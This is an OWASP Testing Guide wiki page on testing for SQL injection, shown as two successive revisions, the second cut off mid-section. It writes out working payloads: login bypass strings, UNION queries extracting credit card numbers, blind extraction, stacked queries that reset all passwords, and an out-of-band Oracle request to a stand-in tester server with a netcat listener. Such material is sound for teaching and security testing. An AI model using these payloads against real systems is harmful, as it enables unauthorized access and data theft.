OWASP - User contributions [en]

Testing for SQL Injection (OTG-INPVAL-005)

2013-02-16T12:09:33Z

Ismael Rocha: English adjustments

{{Template:OWASP Testing Guide v4}}

==Brief Summary ==

An [[SQL injection]] attack consists of insertion or
"injection" of a SQL query via the input data from the client to the
application. A successful SQL injection exploit can read sensitive data from
the database, modify database data (insert/update/delete), execute
administration operations on the database (such as shutdown the DBMS), recover
the content of a given file existing on the DBMS file system or write files into
the file system, and, in some cases, issue commands to the operating system.
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to
affect the execution of predefined SQL commands.

==Description of the Issue ==

In general the way web
applications construct SQL statements involving SQL syntax wrote by the
programmers mixed with user-supplied data. Example:

<pre>select title, text from news where id=$id</pre>

The red part is the SQL static
part supplied by the programmer and the variable $id contains user-supplied
data, making the SQL statement dynamic.

Because the way it was
constructed, the user can supply crafted input trying to make the original SQL
statement execute commands at user’s behavior. The example illustrates the
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,
modifying the WHERE clause adding a condition “or 1=1”.

<pre>select title, text from news where id=10 or 1=1</pre>

SQL Injection attacks can
be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

Independent of the attack
class, a successful SQL Injection attack requires the attacker to craft a
syntactically correct SQL Query. If the application returns an error message
generated by an incorrect query, then it is easy to reconstruct the logic of
the original query and, therefore, understand how to perform the injection
correctly. However, if the application hides the error details, then the tester
must be able to reverse engineer the logic of the original query. The latter
case is known as "[[Blind SQL Injection]]".

About the techniques to
exploit SQL injection flaws there are five commons techniques. Also those
techniques sometimes can be used in a combined way (e.g. union operator and
out-of-band):

* Union Operator: usually can be used when the SQL injection flaw happens in a SELECT statement, making possible to combine two queries into a single result.
* Boolean: use Boolean condition to verify if certain conditions are true or false.
* Error based: this technique forces the database to generate an error making
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer from the application.

==SQL Injection Detection ==

The first step in this test is to understand when the
application connects to a DB Server in order to access some data. Typical
examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database
* E-Commerce sites: the products and their characteristics (price, description, availability etc) are very likely to be stored in a relational database.

The tester has to make a list of all input fields
whose values could be used in crafting a SQL query, including the hidden fields
of POST requests and then test them separately, trying to interfere with the
query and to generate an error. Consider also HTTP headers and Cookies. The
very first test usually consists of adding a single quote (') or a semicolon
(;) to the field under test. The first is used in SQL as a string terminator
and, if not filtered by the application, would lead to an incorrect query. The
second is used to end a SQL statement and, if it is not filtered, it is also
likely to generate an error. The output of a vulnerable field might resemble
the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113</pre>

Also comments (--) and other SQL keywords like 'AND'
and 'OR' can be used to try to modify the query. A very simple but sometimes
still effective technique is simply to insert a string where a number is
expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have
a look at the HTML/javascript source code. Sometimes
the error is present inside them but for some reason (e.g. javascript
error) is not presented to the user. A full error message, like those in the
examples, provides a wealth of information to the tester in order to mount a
successful injection. However, applications often do not provide so much
detail: a simple '500 Server Error' or a custom error page might be issued,
meaning that we need to use blind injection techniques. In any case, it is very
important to test each field separately: only one variable must vary while all
the other remain constant, in order to precisely understand which parameters
are vulnerable and which are not.

=== Standard SQL Injection Testing ===

Example 1 (classical SQL Injection):

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>

A similar query is generally used from the web
application in order to authenticate a user. If the query returns a value it
means that inside the database a user with that
credentials exists, then the user is allowed to login to the system, otherwise
the access is denied. The values of the input fields are generally obtained
from the user through a web form. Suppose we insert the following Username and
Password values:

<pre>$username = 1' or '1' = '1</pre>

<pre>$password = 1' or '1' = '1</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>

If we suppose that the values of the parameters are
sent to the server through the GET method, and if the domain of the vulnerable
web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 </pre>

After a short analysis we notice that the query
returns a value (or a set of values) because the condition is always true (OR
1=1). In this way the system has authenticated the user without knowing the
username and password. ''In some systems the first row of a user table would be an administrator
user. This may be the profile returned in some cases.'' Another example of
query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>

In this case, there are two problems, one due to the
use of the parentheses and one due to the use of MD5 hash function. First of
all, we resolve the problem of the parentheses. That simply consists of adding
a number of closing parentheses until we obtain a corrected query. To resolve
the second problem, we try to invalidate the second condition. We add to our
query a final symbol that means that a comment is beginning. In this way,
everything that follows such symbol is considered a comment. Every DBMS has its
own symbols of comment, however, a common symbol to the greater part of the
database is /*. In Oracle the symbol is "--". This said, the values
that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*</pre>

<pre>$password = foo</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo </pre>

This returns a number of values. Sometimes, the
authentication code verifies that the number of returned tuple
is exactly equal to 1. In the previous examples, this situation would be
difficult (in the database there is only one value per user). In order to go
around this problem, it is enough to insert a SQL command that imposes the
condition that the number of the returned tuple must
be one. (One record returned) In order to reach this goal, we use the operator
"LIMIT <num>", where <num> is the number of the tuples that we expect to be returned. With respect to the
previous example, the value of the fields Username and
Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>

<pre>$password = foo </pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo </pre>

Example 2 (simple SELECT statement):

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester
try a valid value (e.g. 10 in this case), the application will return the
description of a product.
A good way to test if the application is vulnerable in this scenario
is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre>

In this case, probably the application would return
some message telling us there is no content available or a blanket page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

This second example can also be used to test Blind Sql Injection.

Example 3 (Stacked queries):

Depending on the API which the web application is using
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) is possible to
execute multiple queries in one call.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>

This way is possible to execute many queries in a row
and independent on the first query.

=== Fingerprinting the Database ===

Even the SQL language is a standard,
every DBMS has its peculiarity and differs from each other in many aspects like
especial commands, functions to retrieve data such as users names and
databases, features, comments line etc.

When the testers move to a more advanced SQL injection
exploitation they need to know the backend.

1) The first way to find out which is the backend is by
observing the error returned by the application. Follow are some examples:

MySql:

<pre>You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1</pre>

Oracle:

<pre>ORA-00933: SQL command not properly ended</pre>

SQL Server:

<pre>Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string</pre>

PostgreSQL:

<pre>Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.</pre>

2) If there is no error message or a custom error message,
the tester can try to inject into string field using concatenation technique:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

==Exploitation techniques ==

=== Union Exploitation technique ===

The UNION operator is used
in SQL injections to join a query, purposely forged by the tester, to the
original query. The result of the forged query will be joined to the result of
the original query, allowing the tester to obtain the values of fields of other
tables. We suppose for our examples that the query executed from the server is
the following:

SELECT
Name, Phone, Address FROM Users WHERE Id=$id

We will set the following
Id value:

$id=1
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

We will have the following
query:

SELECT
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

which will join the result of the original query
with all the credit card users. The keyword '''ALL''' is necessary to get
around queries that use the keyword DISTINCT. Moreover, we notice that beyond
the credit card numbers, we have selected other two values. These two values
are necessary, because the two query must have an
equal number of parameters, in order to avoid a syntax error.

The first
information the tester need to exploit the SQL injection vulnerability using
such technique is to find the right numbers of columns in the SELECT statement.

In order to
achieve it the tester can use ORDER BY clause followed by a number indicating
the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester will see
the tester can assume, in this example, there are 10 or more columns in the
SELECT statement. If the query fails and there is an error message available
probably it would be:

<pre>Unknown column '10' in 'order clause'</pre>

After the tester find out the numbers of columns, the
next step is to find out the type of columns. Assuming there were 3 columns in
the example above, the tester could try each column type, using the NULL value
to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--</pre>

If the query fails, probably the tester will see a
message like:

<pre>All cells in a column must have the same datatype</pre>

If the query executes with success, the first column
can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the success exploitation, depending on the
application, it will show to the tester only the first result, because the
application treats only the first line of the result. In this case, it is
possible to use LIMIT like clause or the tester can set an invalid value,
making only the second line valid (supposing there is no entry in the database
which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

=== Boolean Exploitation technique ===

The Boolean exploitation technique is very useful when
the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. For example, this
behavior happens in cases where the programmer has created a custom error page
that does not reveal anything on the structure of the query or on the database.
(The page does not return a SQL error, it may just
return a HTTP 500). 
By using the inference methods, it is possible to avoid this obstacle and thus
to succeed to recover the values of some desired fields. This method consists
of carrying out a series of boolean
queries to the server, observing the answers and finally deducing the meaning
of such answers. We consider, as always, the www.example.com domain and we
suppose that it contains a parameter named id vulnerable to SQL injection. This
means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

we will get one page with a custom message error which
is due to a syntactic error in the query. We suppose that the query executed on
the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

which is exploitable through the methods seen previously.
What we want to obtain is the values of the username field. The tests that we
will execute will allow us to obtain the value of the username field,
extracting such value character by character. This is possible through the use
of some standard functions, present practically in every database. For our
examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': it returns a
substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text,
the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A
null value is returned if char is 0.

'''LENGTH (text)''': it gives back the length in characters of the input
text.

Through such functions, we will execute our tests on
the first character and, when we have discovered the value, we will pass to the
second and so on, until we will have discovered the entire value. The tests
will take advantage of the function SUBSTRING, in order to select only one
character at a time (selecting a single character means to impose the length
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so
that we can do numerical comparison. The results of the comparison will be done
with all the values of the ASCII table, until the right value is found. As an
example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

that creates the following query (from now on, we will
call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if
the first character of the field username is equal to the ASCII value 97. If we
get a false value, then we increase the index of the ASCII table from 97 to 98
and we repeat the request. If instead we obtain a true value, we set to zero
the index of the ASCII table and we analyze the next character, modifying the
parameters of the SUBSTRING function. The problem is to understand in which way
we can distinguish tests returning a true value from those that return false.
To do this, we create a query that always returns false. This is possible by
using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

by which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML
code) will be the false value for our tests. This is enough to verify whether
the value obtained from the execution of the inferential query is equal to the
value obtained with the test executed before. Sometimes, this method does not
work. If the server returns two different pages as a result of two identical
consecutive web requests, we will not be able to discriminate the true value
from the false value. In these particular cases, it is necessary to use
particular filters that allow us to eliminate the code that changes between the
two requests and to obtain a template. Later on, for every inferential request
executed, we will extract the relative template from the response using the
same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the
problem of determining the termination condition for out tests, i.e., when we
should end the inference procedure. A techniques to do
this uses one characteristic of the SUBSTRING function and the LENGTH function.
When the test compares the current character with the ASCII code 0 (i.e., the
value null) and the test returns the value true, then either we are done with
the inference procedue (we have scanned the whole
string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have
analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain
true, then we have completed inference and, therefore, we know the value of the
parameter. If we obtain false, this means that the null character is present in
the value of the parameter, and we must continue to analyze the next parameter
until we find another null value.

The blind SQL injection attack needs a high volume of
queries. The tester may need an automatic tool to exploit the vulnerability.

=== Error based Exploitation technique ===

The Error based
exploitation technique is useful when the tester for some reason can’t exploit
the SQL injection vulnerability using other technique such as UNION. The Error
based technique consists in forcing the database to perform some operation in
which the result will be an error. The point here is to try to extract some
data from the database and show it in the error message. This exploitation
technique can be different from DBMS to DBMS (check DBMS specific session).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this
example, the tester is concatenating the value 10 with the result of the
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the
hostname of the parameter passed to it, which is other query, the name of the
user. When the database looks for a hostname with the user database name, it
will fail and return an error message like:

<pre>ORA-292257: host SCOTT unknown</pre>

Then the tester
can manipulate the parameter passed to GET_HOST_NAME()
function and the result will be shown in the error message.

=== Out of band Exploitation technique ===

This technique
is very useful when the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. The technique consists in
the use of DBMS functions to perform an out of band connection and deliver the
results of the injected query as part of the request to the tester’s server.

Like the error
based techniques, each DBMS has its own functions. Check for specific DBMS
section.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre>

In this
example, the tester is concatenating the value 10 with the result of the
function UTL_HTTP.request. This Oracle function will
try to connect to ‘testerserver’ and make a HTTP GET
request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver
(e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

=== Time delay Exploitation technique ===

The Boolean
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. This technique consists
in sending an injected query and in case the conditional is true, the tester
can monitor the time taken to for the server to respond. If there is a delay,
the tester can assume the result of the conditional query is true. This
exploitation technique can be different from DBMS to DBMS (check DBMS specific
session)

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example
the tester if checking whether the MySql version is
5.x or not, making the server to delay the answer in 5 seconds. The tester can
increase the delay’s time and monitor the responses. The tester also doesn’t
need to wait for the response. Sometimes he can set a very high value (e.g.
100) and cancel the request after some seconds.

=== Stored Procedure Injection ===

When using dynamic SQL within a stored procedure, the application must
properly sanitize the user input to eliminate the risk of code injection. If
not sanitized, the user could enter malicious SQL that will be executed within
the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure user_login @username varchar(20), @passwd varchar(20) As

Declare @sqlstring varchar(250)

Set @sqlstring = ‘

Select 1
from users

Where
username = ‘ + @username + ‘ and passwd
= ‘ + @passwd

exec(@sqlstring)
Go
User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the
return value to show an existing record with these
parameters. 
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a
user, but consider a dynamic reporting query where the user selects the columns
to view. The user could insert malicious code into this scenario and compromise
the data. 
Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from
users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being
updated.

=== Automated Exploitation ===

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

== Related Articles ==

* [[Top 10 2010-Injection Flaws]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:

* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

== References ==

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Tools''' 
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* http://sqlsus.sourceforge.net
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

Testing for SQL Injection (OTG-INPVAL-005)

2012-11-26T22:37:26Z

Ismael Rocha: Format issues

{{Template:OWASP Testing Guide v4}}

==Brief Summary ==

An [[SQL injection]] attack consists of insertion or
"injection" of a SQL query via the input data from the client to the
application. A successful SQL injection exploit can read sensitive data from
the database, modify database data (insert/update/delete), execute
administration operations on the database (such as shutdown the DBMS), recover
the content of a given file existing on the DBMS file system or write files into
the file system, and, in some cases, issue commands to the operating system.
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to
affect the execution of predefined SQL commands.

==Description of the Issue ==

In general the way web
applications construct SQL statements involving SQL syntax wrote by the
programmers mixed with user-supplied data. Example:

<pre>select title, text from news where id=$id</pre>

The red part is the SQL static
part supplied by the programmer and the variable $id contains user-supplied
data, making the SQL statement dynamic.

Because the way it was
constructed, the user can supply crafted input trying to make the original SQL
statement execute commands at user’s behavior. The example illustrates the
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,
modifying the WHERE clause adding a condition “or 1=1”.

<pre>select title, text from news where id=10 or 1=1</pre>

SQL Injection attacks can
be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

Independent of the attack
class, a successful SQL Injection attack requires the attacker to craft a
syntactically correct SQL Query. If the application returns an error message
generated by an incorrect query, then it is easy to reconstruct the logic of
the original query and, therefore, understand how to perform the injection
correctly. However, if the application hides the error details, then the tester
must be able to reverse engineer the logic of the original query. The latter
case is known as "[[Blind SQL Injection]]".

About the techniques to
exploit SQL injection flaws there are five commons techniques. Also those
techniques sometimes can be used in a combined way (e.g. union operator and
out-of-band):

* Union Operator: usually can be used when the SQL injection flaw happens in a SELECT statement, making possible to combine two queries into a single result.
* Boolean: use Boolean condition to verify if certain conditions are true or false.
* Error based: this technique forces the database to generate an error making
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer from the application.

==SQL Injection Detection ==

The first step in this test is to understand when the
application connects to a DB Server in order to access some data. Typical
examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database
* E-Commerce sites: the products and their characteristics (price, description, availability etc) are very likely to be stored in a relational database.

The tester has to make a list of all input fields
whose values could be used in crafting a SQL query, including the hidden fields
of POST requests and then test them separately, trying to interfere with the
query and to generate an error. Consider also HTTP headers and Cookies. The
very first test usually consists of adding a single quote (') or a semicolon
(;) to the field under test. The first is used in SQL as a string terminator
and, if not filtered by the application, would lead to an incorrect query. The
second is used to end a SQL statement and, if it is not filtered, it is also
likely to generate an error. The output of a vulnerable field might resemble
the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113</pre>

Also comments (--) and other SQL keywords like 'AND'
and 'OR' can be used to try to modify the query. A very simple but sometimes
still effective technique is simply to insert a string where a number is
expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have
a look at the HTML/javascript source code. Sometimes
the error is present inside them but for some reason (e.g. javascript
error) is not presented to the user. A full error message, like those in the
examples, provides a wealth of information to the tester in order to mount a
successful injection. However, applications often do not provide so much
detail: a simple '500 Server Error' or a custom error page might be issued,
meaning that we need to use blind injection techniques. In any case, it is very
important to test each field separately: only one variable must vary while all
the other remain constant, in order to precisely understand which parameters
are vulnerable and which are not.

=== Standard SQL Injection Testing ===

Example 1 (classical SQL Injection):

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>

A similar query is generally used from the web
application in order to authenticate a user. If the query returns a value it
means that inside the database a user with that
credentials exists, then the user is allowed to login to the system, otherwise
the access is denied. The values of the input fields are generally obtained
from the user through a web form. Suppose we insert the following Username and
Password values:

<pre>$username = 1' or '1' = '1</pre>

<pre>$password = 1' or '1' = '1</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>

If we suppose that the values of the parameters are
sent to the server through the GET method, and if the domain of the vulnerable
web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 </pre>

After a short analysis we notice that the query
returns a value (or a set of values) because the condition is always true (OR
1=1). In this way the system has authenticated the user without knowing the
username and password. ''In some systems the first row of a user table would be an administrator
user. This may be the profile returned in some cases.'' Another example of
query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>

In this case, there are two problems, one due to the
use of the parentheses and one due to the use of MD5 hash function. First of
all, we resolve the problem of the parentheses. That simply consists of adding
a number of closing parentheses until we obtain a corrected query. To resolve
the second problem, we try to invalidate the second condition. We add to our
query a final symbol that means that a comment is beginning. In this way,
everything that follows such symbol is considered a comment. Every DBMS has its
own symbols of comment, however, a common symbol to the greater part of the
database is /*. In Oracle the symbol is "--". This said, the values
that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*</pre>

<pre>$password = foo</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo </pre>

This returns a number of values. Sometimes, the
authentication code verifies that the number of returned tuple
is exactly equal to 1. In the previous examples, this situation would be
difficult (in the database there is only one value per user). In order to go
around this problem, it is enough to insert a SQL command that imposes the
condition that the number of the returned tuple must
be one. (One record returned) In order to reach this goal, we use the operator
"LIMIT <num>", where <num> is the number of the tuples that we expect to be returned. With respect to the
previous example, the value of the fields Username and
Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>

<pre>$password = foo </pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo </pre>

Example 2 (simple SELECT statement):

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester
try a valid value (e.g. 10 in this case), the application will return the
description of a product.
A good way to test if the application is vulnerable in this scenario
is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre>

In this case, probably the application would return
some message telling us there is no content available or a blanket page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

This second example can also be used to test Blind Sql Injection.

Example 3 (Stacked queries):

Depending on the API which the web application is using
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) is possible to
execute multiple queries in one call.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>

This way is possible to execute many queries in a row
and independent on the first query.

=== Fingerprinting the Database ===

Even the SQL language is a standard,
every DBMS has its peculiarity and differs from each other in many aspects like
especial commands, functions to retrieve data such as users names and
databases, features, comments line etc.

When the testers move to a more advanced SQL injection
exploitation they need to know the backend.

1) The first way to find out which is the backend is by
observing the error returned by the application. Follow are some examples:

MySql:

<pre>You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1</pre>

Oracle:

<pre>ORA-00933: SQL command not properly ended</pre>

SQL Server:

<pre>Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string</pre>

PostgreSQL:

<pre>Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.</pre>

2) If there is no error message or a custom error message,
the tester can try to inject into string field using concatenation technique:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

==Exploitation techniques ==

=== Union Exploitation technique ===

The UNION operator is used
in SQL injections to join a query, purposely forged by the tester, to the
original query. The result of the forged query will be joined to the result of
the original query, allowing the tester to obtain the values of fields of other
tables. We suppose for our examples that the query executed from the server is
the following:

SELECT
Name, Phone, Address FROM Users WHERE Id=$id

We will set the following
Id value:

$id=1
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

We will have the following
query:

SELECT
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

which will join the result of the original query
